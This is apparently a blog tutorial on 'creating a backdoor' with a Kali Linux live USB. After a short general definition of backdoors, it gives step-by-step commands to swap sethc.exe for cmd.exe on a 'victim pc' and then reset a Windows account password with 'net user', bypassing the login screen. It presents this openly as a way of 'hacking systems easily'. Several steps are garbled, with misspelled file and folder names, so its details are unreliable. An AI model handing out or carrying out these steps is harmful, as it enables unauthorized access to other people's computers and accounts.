What is backdoor?
A backdoor is a method, often secret, to bypass normal authentication or encryption in an integrated computer system, product, or device (for example, a home router) or its implementation, e.g. as part of a cryptographic system, an algorithm, a chipset or a “computer homunculus” (such as Intel’s AMT technology). Backdoors are often used to provide remote access to a computer or access plain text in cryptographic systems.
A backdoor can take the form of a hidden part of a program that is used, a separate program (for example, Back Orifice can subvert the system via a rootkit) or code in the hardware firmware or parts of the program. who operate the system like Microsoft Windows. Although it is usually surreptitiously installed, in some cases the rear doors are deliberate and widely known. These types of backdoors may have “legitimate” uses, such as providing the manufacturer with a way to restore users’ passwords.
Default passwords (or other default credentials) can work as backdoors if the user does not change them. Some debug functions can also be used as backdoors if they are not removed in the final version.So lets start Create Backdoor in Kali Linux.

Create Backdoor In Kali Linux
1) 4Gb Pendrive or Higher
2) Kali Linux Operating System è Click Here To Download Kali Linux
3) 1 & 2 Combined Kali Live USB
Kali Linux is the best option to create a backdoor because it enables Live Boot through which we can use it on my victim pc easily by carrying it and also 4gb Pendrive is enough
Here I will explain how to Create a backdoor using Kali Linux
If You Are Interested to Create a backdoor using Backtrack Here it is Mostly Both Are Same But Check It Out.

Step 1: Open terminal and type the following command (after typing every code press enter)
Ø cd /media
Step 2: Then your hard disk code will be shown (for ex: 28EC168..)
Every hard-disk have their own code
NOTE: If you are not able to find the code, repeat the process again or click on places (which you can find above terminal icon) then in places click one “filesystem” a window will open where you can see the hard-disk code as a title in blue
Follow my Commands again (after typing every command press enter)
Ø cd /media/(hard disk code name without brackets)
(Actually, This “ls” will show you the list of folders and files present in the above-mentioned source or location)
Ø cd /media/ hard disk code name /Windows
Ø cd /media/ hard disk code name /Windows/System32
Ø cp cmd.exe sethc.exe
Here now what we did is changed seethe.exe to cmd.exe, now you can exit the terminal and reboot your system and open windows.
When login screen appears and asks for password press “Shift Key” 5 Times Continuously
Command Prompt will open
Then type the following commands in it
Net user (name of account or system) Example:: net user Punk
And click enter 2 times – it will ask to enter a new password leave it blank
Reboot system again and now the system starts without asking for login password
This is how creating a backdoor Helps in hacking systems easily
This works on Kali Linux as well as Backtrack
Here is the second way of creating a Backdoor in Backtrack this is much more simple compared to the previous process
Ø Start your Kali Linux using Live USB
Ø Got to places and you can see your drives there open it
Ø One is system reserved, do not touch it, open Your Local disk C
Ø In Local Disk: C you will find a folder named “Windows”
Ø And in that Open “Windows 32” and search for “Cmd.exe”
Ø And rename it to “scthc.exe”
Ø That’s it the process is done
Now shutdown Kali Linux and Start Windows
Now windows asks for Login Password
Now Press “Shift Key” 5 Times continuously
Command Prompt will open
There type Net user (your pc name)
Ex: net user XYZ
Now press enter two times, when it asks to enter password leave it black and restart the system, your victim pc opens without asking for password
That’s it a simple trick.
